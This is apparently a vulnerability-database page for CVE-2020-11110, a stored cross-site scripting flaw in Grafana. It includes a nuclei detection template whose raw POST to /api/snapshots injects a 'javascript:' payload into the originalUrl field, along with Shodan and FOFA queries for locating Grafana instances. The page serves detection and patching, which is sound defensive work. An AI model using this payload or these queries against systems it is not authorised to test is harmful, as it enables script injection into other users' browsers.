HexBrain

Browse / CVEs / CVE-2020-11110

CVE-2020-11110· grafana / grafana· CWE-79

Grafana <= 6.7.1 - Cross-Site Scripting

mediumseverity
5.4CVSS score
9.6%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

Grafana through 6.7.1 contains an unauthenticated stored cross-site scripting vulnerability due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.

Fix

This issue can be resolved by updating Grafana to the latest version.

How to confirm it

Send: POST /api/snapshots
Positive when: contains in header "application/json" AND contains "\"deleteKey\":" and "\"deleteUrl\":" AND status 200

Run it with nuclei: nuclei -id CVE-2020-11110 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-11110

info:
  name: Grafana <= 6.7.1 - Cross-Site Scripting
  author: emadshanab
  severity: medium
  description: Grafana through 6.7.1 contains an unauthenticated stored cross-site scripting vulnerability due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: This issue can be resolved by updating Grafana to the latest version.
  reference:
    - https://github.com/grafana/grafana/pull/23254
    - https://security.netapp.com/advisory/ntap-20200810-0002/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11110
    - https://hackerone.com/reports/1329433
    - https://github.com/grafana/grafana/blob/master/CHANGELOG.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2020-11110
    cwe-id: CWE-79
    epss-score: 0.09619
    epss-percentile: 0.95523
    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: grafana
    product: grafana
    shodan-query:
      - title:"Grafana"
      - cpe:"cpe:2.3:a:grafana:grafana"
      - http.title:"grafana"
    fofa-query:
      - title="grafana"
      - app="grafana"
    google-query: intitle:"grafana"
  tags: cve2020,cve,xss,grafana,hackerone,vuln

http:
  - raw:
      - |
        POST /api/snapshots HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Accept-Language: en-US,en;q=0.5
        Referer: {{BaseURL}}
        content-type: application/json
        Connection: close

        {"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - application/json

      - type: word
        part: body
        words:
          - '"deleteKey":'
          - '"deleteUrl":'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - '"url":"([a-z:/0-9A-Z]+)"'
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from